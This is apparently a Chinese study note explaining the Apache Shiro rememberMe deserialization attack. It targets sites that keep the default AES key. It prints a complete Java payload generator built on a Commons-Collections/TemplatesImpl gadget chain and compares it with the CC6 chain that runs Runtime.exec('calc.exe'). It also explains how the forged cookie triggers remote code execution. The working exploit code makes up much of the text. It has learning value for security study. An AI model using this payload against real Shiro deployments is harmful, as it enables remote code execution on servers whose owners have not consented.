Shiro反序列化

在CC3的链子中使用了Templateslmpl加载任意恶意类
可以执行任意java代码

它与CC6链子的区别
就像php中call_user_funceval的区别一样
造成任意代码执行的eval显然具有更高的价值

shiro框架的漏洞在rememberme的自动登录上
会存一段aes加密的数据在浏览器中,再次访问时通过cookie携带
到达后端后反序列化以加载用户数据
而这个aes加密有一个默认的Key
那么就可以攻击不修改Key的网站

Shiro链子

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

代码前后的部分都很熟悉
但是中间的部分看着很奇怪
不妨把之前的代码贴上对比一下:

//CC6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // 弹出计算器(Windows)
)
};

ChainedTransformer chain = new ChainedTransformer(transformers);

// Step 2: 创建LazyMap并关联Transformer链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);

// Step 3: 将LazyMap封装到TiedMapEntry中
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// Step 4: 将TiedMapEntry放入HashMap以触发反序列化链
HashMap hashMap = new HashMap();
hashMap.put(entry, "bar");

// Step 5: 移除LazyMap中的缓存,确保反序列化时触发链
lazyMap.remove("foo");

不同点1:翻译链变成翻译器了

Transformer transformer = new InvokerTransformer("getClass", null, null);

没有常量翻译器了我们怎么返回需要的类?

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

原来是Lazymapget方法会自己触发翻译
也就是说此时key作为恶意类进入翻译器就可以省去常量翻译器了

需要进行改动的原因:

这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就
解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

不同点2:lazymap清除缓存的另一种写法

//CC6
lazyMap.remove("foo");

这里写作:

outerMap.clear();

事实上是一样的效果
如此一来就可以通过更改cookie的方式触发恶意的反序列化操作
弹出计算器了

alt text
需要注意清除session否则会话过期之前
rememberme的部分不会被反序列化